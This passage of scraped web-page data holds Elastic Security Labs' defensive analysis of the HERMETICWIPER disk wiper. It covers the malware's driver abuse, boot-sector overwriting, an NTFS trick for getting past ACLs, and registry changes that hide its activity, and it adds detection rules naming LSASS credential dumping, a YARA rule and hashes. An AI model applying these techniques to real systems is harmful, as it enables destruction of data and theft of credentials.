rules","href":"#detection-rules"},{"level":3,"title":"YARA rule","href":"#yara-rule"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Elastic protects against data wiper malware targeting Ukraine: HERMETICWIPER","slug":"elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper","date":"2022-09-09","description":"Analysis of the HERMETICWIPER malware targeting Ukranian organizations.","image":"photo-edited-11@2x.jpg","tags":["hermeticwiper","malware"],"body":{"raw":"\n## Introduction\n\nOn February 23, 2022, the ESET threat research team [disclosed a series of findings](https://twitter.com/ESETresearch/status/1496581903205511181) pertaining to a Data Wiper malware campaign, impacting hundreds of systems across Ukraine, named [HERMETICWIPER](https://twitter.com/juanandres_gs/status/1496607141888724997). Elastic previously published research on [Operation Bleeding Bear](https://www.elastic.co/security-labs/operation-bleeding-bear), a campaign targeted towards Ukrainian assets with similar destructive intentions.\n\nMalware Wipers remain a common tactic of adversaries looking to cause havoc on systems impacted by their payloads. Typically this class of malware is designed to wipe the contents of any drives a system may have, rendering the end-users personal data lost. Many more recent examples of this class of payload incorporate tactics that also tamper with the boot process, with HERMETICWIPER being no exception.\n\nCustomers leveraging the Elastic Agent version 7.9+, and above are protected against this specific malware, with further research being undertaken to improve detection efficacy.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-8.png)\n\n## Malware Wipers \u0026 Ukrainian Targets\n\nUnfortunately, this is not the first time this year that Ukranian systems have been the target of Data-wiping payloads - Microsoft [published findings](https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/) pertaining to similar, observed attacks that impacted systems within Ukraine, however initially impacting a far smaller number of systems. The publication outlined that the targeting of this specific earlier campaign was focused on multiple government agencies, non-profits, and information technology organizations throughout the country.\n\n## Malware Stage Analysis\n\nHERMETICWIPER is digitally signed by Hermetica Digital Ltd., an organization [registered](https://opencorporates.com/companies/cy/HE419469) in Cyprus, and embeds 4 legitimate driver files from [EaseUS Partition Manager](https://www.easeus.com/partition-manager) that are compressed using MS-DOS utility (mscompress). Hermetica Digital Ltd. has revoked the code-signing certificate.\n\nUpon execution, HERMETICWIPER creates a kernel mode service and interacts with it via DeviceIoControl API function. The main objective is to corrupt any attached physical drive and render the system data unrecoverable.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-20.png)\n\nBelow is a summary of the events generated during the installation phase using, Windows events logs and Elastic Agent.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-16.jpg)\n\nFollowing the installation process, HERMETICWIPER determines the dimensions of each partition by calculating the bytes in each sector and sectors in each cluster using the GetDiskFreeSpaceW Windows API [function](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew).\n\nThe malware interacts with the IOCTL interface, passing the parameter IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS with a value of 0x560000 to the device driver in order to retrieve the physical location of the root driver (\\\\.\\C). The root drive corresponds to the volume Windows uses to boot, and its identification is essential to achieve a destructive impact.\n\nThe NTFS/FAT boot sector and random file physical offsets are enumerated for each accessible physical drive, and then overwritten by the output of the CryptGenRandom [API function](https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom) and a series of FSCTL_GET_RETRIEVAL_POINTERS and FSCTL_MOVE_FILE IOCTLs.\n\nOnce the system crashes or restarts, the system is unable to boot and the data is corrupted.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-15.jpg)\n\n## Interesting Functionality\n\nSimilar to different ransomware families, HERMETICWIPER avoids specific critical folders and files during the wiping process. This ensures the machine is still operable and will not impact the disk wiping/file corrupting process at a later stage.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-13.jpg)\n\nAnother interesting technique observed when targeted files are queued for wiping is how they are accessed by concatenating the value ::$INDEX_ALLOCATION to a filename. This documented [NTFS trick](https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/) is an additional method to bypass access-control list (ACL) permissions on targeted files to provide more reliability when accessing these files.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-19.jpg)\n\nHERMETICWIPER also modifies two registry settings during execution (ShowCompColor and ShowInfoTip), setting those key values to 0. Within Windows, when a user chooses to compress NTFS directories/files, there is a setting that allows the user to differentiate them in Windows Explorer showing them as blue representing compressed data or green for encrypted data. This is an attempt by the malware to not set off any suspicious behavior to the user with different coloring on directories/files before the disk corruption occurs on the machine.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-6.jpg)\n\n## Shredding Component Analysis\n\nThe malware wipes specific target folders/files writing pre-generated random data at specific disk addresses. It does this by setting up 4 different shredding queues in the binary.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-3.jpg)\n\nEach queue usage and its functionality is undetermined, but are used at different points in the sample. The shredding queue is composed of a linked list of targets which contain random pre-generated data (generated at queuing) of the size of the target, the disk number and a linked list of “file” parts with disk addresses and sizes.\n\n```\nHERMETICWIPER Structure for ShredTarget function\n\nstruct ctf::ShredTarget\n{\nctf::ShredTarget *p_next;\nctf::ShredTarget *p_prev;\nctf::FilePart *p_parts;\nint disk_number;\nuint8_t *p_random_filled_buffer;\nint p_random_filled_buffer_size;\n};\n```\n\n```\nHERMETICWIPER Structure for FilePart function\n\nstruct ctf::FilePart\n{\nctf::FilePart *p_next;\nctf::FilePart *p_prev;\nuint64_t start_address;\nuint64_t size;\n};\n```\n\n```\nHERMETICWIPER targeting file, folder, and disk partitions\n\nctf::QueueFileShred\nctf::QueueFolderShred\nctf::callback::IfPathContainNtUserQueueFileShred\nctf::callback::QueueNtfsBitmapAndLogAttributeShred\nctf::callback::QueueFileShredIfNotSymlink\nctf::callback::QueuePartitionFirstClusterShred\nctf::callback::QueuePartitionShred\n```\n\nThe malware emphasizes the following items that are targeted for shredding.\n\n- The dropped driver if something goes wrong or after service start:\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-4.jpg)\n\n- The malware process itself if driver launch goes wrong:\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-image-21.jpg)\n\n- The disk’s partition first cluster (enumerates up to 100):\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-7.jpg)\n\n- The System Volume information direct used to store Windows restore points:\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-14.jpg)\n\nInterestingly if the computer doesn’t belong to a domain controller it will target more assets:\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-5.jpg)\n\nAfter queuing the different targets previously described, the sample starts different synchronous/asynchronous shredding threads for each of its queues:\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-10.jpg)\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-12.jpg)\n\nThe thread launcher will then start a new thread for each target.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-9.jpg)\n\nThe shredding thread will then iterate through the target’s file parts and use the driver for writing at addresses on specified disk.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-17.jpg)\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-1.jpg)\n\n## Driver Analysis\n\nThe driver that is loaded by the user mode component is quite similar to the driver that belongs to Eldos Rawdisk and has been leveraged previously by threat actors like [Shamoon](https://securelist.com/shamoon-the-wiper-further-details-part-ii/57784/) and Lazarus. The difference is that HERMETICWIPER abuses a driver (epmntdrv.sys) that belongs to EaseUS Partition Master, a legitimate disk partitioning software.\n\nWhen the driver is loaded, it creates a device named \\\\Device\\\\EPMNTDRV and creates a symbolic link to be exposed to user mode. Then, it initializes the driver object with the following entry points.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-2.jpg)\n\nLooking at the dispatch function that handles the IRP_MJ_CREATE requests, we can see that the driver builds the name of the symlink \\Device\\HarddiskX\\Partition0 and saves a pointer to its file object on the driver’s file object fs context. The driver then uses the volume manager device object to obtain a pointer to the highest level device object in the disk device stack.\n\nAfter that, it iterates over the stack looking for the Disk driver, that is the Microsoft storage class driver that implements functionality common to all storage devices. Once found, it saves a pointer to its device object in the FsContext2 field of the file object structure.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-11.jpg)\n\nMoving to the function that handles the write requests, we can see that it builds an asynchronous [Input Output Request Packet](https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets) (IRP), which is an API used for drivers to communicate with each other, and forwards it the volume manager device. The buffer used in the IRP is described by the [Memory Descriptor List](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_mdl) (MDL) driver function. Finally, a completion routine is provided that will free the MDL and release memory used by the IRP.\n\n![](/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-18.png)\n\nThe read requests are similar to the write requests in concept, in other words, the IoBuildsynchronousFsdRequest() [API function](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuildsynchronousfsdrequest) uses the IRP_MJ_READ [driver function](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/irp-mj-read) instead of the IRP_MJ_WRITE [driver function](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-write) when sending the IRP to the driver. Finally, the routine that handles I/O control codes finds the highest device object in the stack where the volume manager is located and calls IoBuildDeviceIoControlRequest() to forward the IRP that contains the I/O control code to the appropriate driver.\n\n\u003e All in all, the driver functionality is very simple. It acts as a proxy between user space and the low level file system drivers, allowing raw disk sector manipulation and as a result circumventing Windows operating system security features.\n\n## Prebuilt Detection Engine Alerts\n\nThe following existing [public detection rules](https://github.com/elastic/detection-rules) can also be used to detect some of the employed post exploitation techniques described by Symantec Threat Intelligence Team and ESET [[1](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine)][[2](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia)][[3](https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/)] :\n\n- [Suspicious Cmd Execution via WMI](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_suspicious_cmd_wmi.toml) (Deployment of wiper via Impacket WMI)\n- [Direct Outbound SMB Connection](https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_direct_outbound_smb_connection.toml) (SMB spreader)\n- [Remotely Started Services via RPC](https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_remote_services.toml) (Remcom)\n- [Lateral Tool Transfer](https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_executable_tool_transfer_smb.toml) (staging PE via file shares for remote execution)\n- [Potential Credential Access via Windows Utilities](https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml)\n- [Potential Credential Access via LSASS Memory Dump](https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_suspicious_lsass_access_memdump.toml)\n- [Process Execution from an Unusual Directory](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_directory.toml)\n- [Execution from Unusual Directory - Command Line](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml)\n- [Scheduled Task Execution](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_scheduled_task_runtime.toml)\n- [Scheduled Task Creation](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_task_creation.toml)\n- [Suspicious MSHTA Execution](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_mshta_beacon.toml)\n\n## YARA Rules\n\n```\nrule Windows_Wiper_HERMETICWIPER {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-02-24\"\n last_modified = \"2022-02-24\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Wiper\"\n family = \"HERMETICWIPER\"\n threat_name = \"Windows.Wiper.HERMETICWIPER\"\n description = \"Detects HERMETICWIPER used to target Ukrainian organization\"\n reference_sample = \"1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591\"\n\n strings:\n $a1 = \"\\\\\\\\?\\\\C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\" wide fullword\n $a2 = \"\\\\\\\\.\\\\EPMNTDRV\\\\%u\" wide fullword\n $a3 = \"tdrv.pdb\" ascii fullword\n $a4 = \"%s%.2s\" wide fullword\n $a5 = \"ccessdri\" ascii fullword\n $a6 = \"Hermetica Digital\"\n condition:\n all of them\n}\n\n```\n\n## Observables\n\n| Observable | Type | Reference | Note |\n| ---------------------------------------------------------------- | ------- | ------------- | ------------- |\n| 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 | SHA-256 | Wiper malware | HERMETICWIPER |\n| 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da | SHA-256 | Wiper malware | HERMETICWIPER |\n| 3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 | SHA-256 | Wiper malware | HERMETICWIPER |\n| 2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf | SHA-256 | Wiper malware | HERMETICWIPER |\n\n## Artifacts\n\nArtifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt42ce05ad40a762e8/628e88d9bd980555189d997b/hermeticwiper-indicators.zip) in both ECS and STIX format in a combined zip bundle.\n\n## References\n\nThe following research was referenced throughout the document:\n\n- [https://twitter.com/ESETresearch/status/1496581903205511181](https://twitter.com/ESETresearch/status/1496581903205511181)\n- [https://twitter.com/juanandres_gs/status/1496607141888724997](https://twitter.com/juanandres_gs/status/1496607141888724997)\n- [https://elastic.co/security-labs/operation-bleeding-bear](https://elastic.co/security-labs/operation-bleeding-bear)\n- [https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/](https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/)\n- [https://opencorporates.com/companies/cy/HE419469](https://opencorporates.com/companies/cy/HE419469)\n- [https://www.easeus.com/partition-manager](https://www.easeus.com/partition-manager)\n- [https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-](https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-)\n- [https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew)\n- [https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens)\n- [https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew)\n- [https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource)\n","code":"var Component=(()=\u003e{var h=Object.create;var n=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var w=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),f=(i,e)=\u003e{for(var r in e)n(i,r,{get:e[r],enumerable:!0})},o=(i,e,r,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of m(e))!u.call(i,a)\u0026\u0026a!==r\u0026\u0026n(i,a,{get:()=\u003ee[a],enumerable:!(s=p(e,a))||s.enumerable});return i};var b=(i,e,r)=\u003e(r=i!=null?h(g(i)):{},o(e||!i||!i.__esModule?n(r,\"default\",{value:i,enumerable:!0}):r,i)),v=i=\u003eo(n({},\"__esModule\",{value:!0}),i);var c=w((I,l)=\u003e{l.exports=_jsx_runtime});var _={};f(_,{default:()=\u003eE,frontmatter:()=\u003ey});var t=b(c()),y={title:\"Elastic protects against data wiper malware targeting Ukraine: HERMETICWIPER\",slug:\"elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper\",date:\"2022-09-09\",description:\"Analysis of the HERMETICWIPER malware targeting Ukranian organizations.\",author:[{slug:\"daniel-stepanic\"},{slug:\"mark-mager\"},{slug:\"remco-sprooten\"},{slug:\"jake-king\"},{slug:\"andrew-pease\"}],image:\"photo-edited-11@2x.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"hermeticwiper\",\"malware\"]};function d(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",img:\"img\",pre:\"pre\",code:\"code\",ul:\"ul\",li:\"li\",blockquote:\"blockquote\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"On February 23, 2022, the ESET threat research team \",(0,t.jsx)(e.a,{href:\"https://twitter.com/ESETresearch/status/1496581903205511181\",rel:\"nofollow\",children:\"disclosed a series of findings\"}),\" pertaining to a Data Wiper malware campaign, impacting hundreds of systems across Ukraine, named \",(0,t.jsx)(e.a,{href:\"https://twitter.com/juanandres_gs/status/1496607141888724997\",rel:\"nofollow\",children:\"HERMETICWIPER\"}),\". Elastic previously published research on \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/operation-bleeding-bear\",rel:\"nofollow\",children:\"Operation Bleeding Bear\"}),\", a campaign targeted towards Ukrainian assets with similar destructive intentions.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Malware Wipers remain a common tactic of adversaries looking to cause havoc on systems impacted by their payloads. Typically this class of malware is designed to wipe the contents of any drives a system may have, rendering the end-users personal data lost. Many more recent examples of this class of payload incorporate tactics that also tamper with the boot process, with HERMETICWIPER being no exception.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Customers leveraging the Elastic Agent version 7.9+, and above are protected against this specific malware, with further research being undertaken to improve detection efficacy.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-8.png\",alt:\"\",width:\"1440\",height:\"328\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"malware-wipers--ukrainian-targets\",children:\"Malware Wipers \u0026 Ukrainian Targets\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Unfortunately, this is not the first time this year that Ukranian systems have been the target of Data-wiping payloads - Microsoft \",(0,t.jsx)(e.a,{href:\"https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/\",rel:\"nofollow\",children:\"published findings\"}),\" pertaining to similar, observed attacks that impacted systems within Ukraine, however initially impacting a far smaller number of systems. The publication outlined that the targeting of this specific earlier campaign was focused on multiple government agencies, non-profits, and information technology organizations throughout the country.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"malware-stage-analysis\",children:\"Malware Stage Analysis\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"HERMETICWIPER is digitally signed by Hermetica Digital Ltd., an organization \",(0,t.jsx)(e.a,{href:\"https://opencorporates.com/companies/cy/HE419469\",rel:\"nofollow\",children:\"registered\"}),\" in Cyprus, and embeds 4 legitimate driver files from \",(0,t.jsx)(e.a,{href:\"https://www.easeus.com/partition-manager\",rel:\"nofollow\",children:\"EaseUS Partition Manager\"}),\" that are compressed using MS-DOS utility (mscompress). Hermetica Digital Ltd. has revoked the code-signing certificate.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Upon execution, HERMETICWIPER creates a kernel mode service and interacts with it via DeviceIoControl API function. The main objective is to corrupt any attached physical drive and render the system data unrecoverable.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-20.png\",alt:\"\",width:\"1024\",height:\"768\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Below is a summary of the events generated during the installation phase using, Windows events logs and Elastic Agent.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-16.jpg\",alt:\"\",width:\"1440\",height:\"696\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Following the installation process, HERMETICWIPER determines the dimensions of each partition by calculating the bytes in each sector and sectors in each cluster using the GetDiskFreeSpaceW Windows API \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew\",rel:\"nofollow\",children:\"function\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The malware interacts with the IOCTL interface, passing the parameter IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS with a value of 0x560000 to the device driver in order to retrieve the physical location of the root driver (\\\\.\\\\C). The root drive corresponds to the volume Windows uses to boot, and its identification is essential to achieve a destructive impact.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The NTFS/FAT boot sector and random file physical offsets are enumerated for each accessible physical drive, and then overwritten by the output of the CryptGenRandom \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom\",rel:\"nofollow\",children:\"API function\"}),\" and a series of FSCTL_GET_RETRIEVAL_POINTERS and FSCTL_MOVE_FILE IOCTLs.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Once the system crashes or restarts, the system is unable to boot and the data is corrupted.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-15.jpg\",alt:\"\",width:\"927\",height:\"393\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"interesting-functionality\",children:\"Interesting Functionality\"}),`\n`,(0,t.jsx)(e.p,{children:\"Similar to different ransomware families, HERMETICWIPER avoids specific critical folders and files during the wiping process. This ensures the machine is still operable and will not impact the disk wiping/file corrupting process at a later stage.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-13.jpg\",alt:\"\",width:\"500\",height:\"518\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Another interesting technique observed when targeted files are queued for wiping is how they are accessed by concatenating the value ::$INDEX_ALLOCATION to a filename. This documented \",(0,t.jsx)(e.a,{href:\"https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/\",rel:\"nofollow\",children:\"NTFS trick\"}),\" is an additional method to bypass access-control list (ACL) permissions on targeted files to provide more reliability when accessing these files.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-19.jpg\",alt:\"\",width:\"736\",height:\"233\"})}),`\n`,(0,t.jsx)(e.p,{children:\"HERMETICWIPER also modifies two registry settings during execution (ShowCompColor and ShowInfoTip), setting those key values to 0. Within Windows, when a user chooses to compress NTFS directories/files, there is a setting that allows the user to differentiate them in Windows Explorer showing them as blue representing compressed data or green for encrypted data. This is an attempt by the malware to not set off any suspicious behavior to the user with different coloring on directories/files before the disk corruption occurs on the machine.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-6.jpg\",alt:\"\",width:\"573\",height:\"726\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"shredding-component-analysis\",children:\"Shredding Component Analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"The malware wipes specific target folders/files writing pre-generated random data at specific disk addresses. It does this by setting up 4 different shredding queues in the binary.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/malware-targeting-ukraine-hermeticwiper-3.jpg\",alt:\"\",width:\"260\",height:\"76\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Each queue usage and its functionality is undetermined, but are used at different points in the sample. The shredding queue is composed of a linked list of targets which contain random pre-generated data (generated at queuing) of the size of the target, the disk number and a linked list of \\u201Cfile\\u201D parts with disk addresses and sizes.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`HERMETICWIPER Structure for ShredTarget function\n\nstruct ctf::ShredTarget\n{\nctf::ShredTarget *p_next;\nctf::ShredTarget *p_prev;\nctf::FilePart *p_parts;\nint disk_number;\nuint8_t *p_random_filled_buffer;\nint 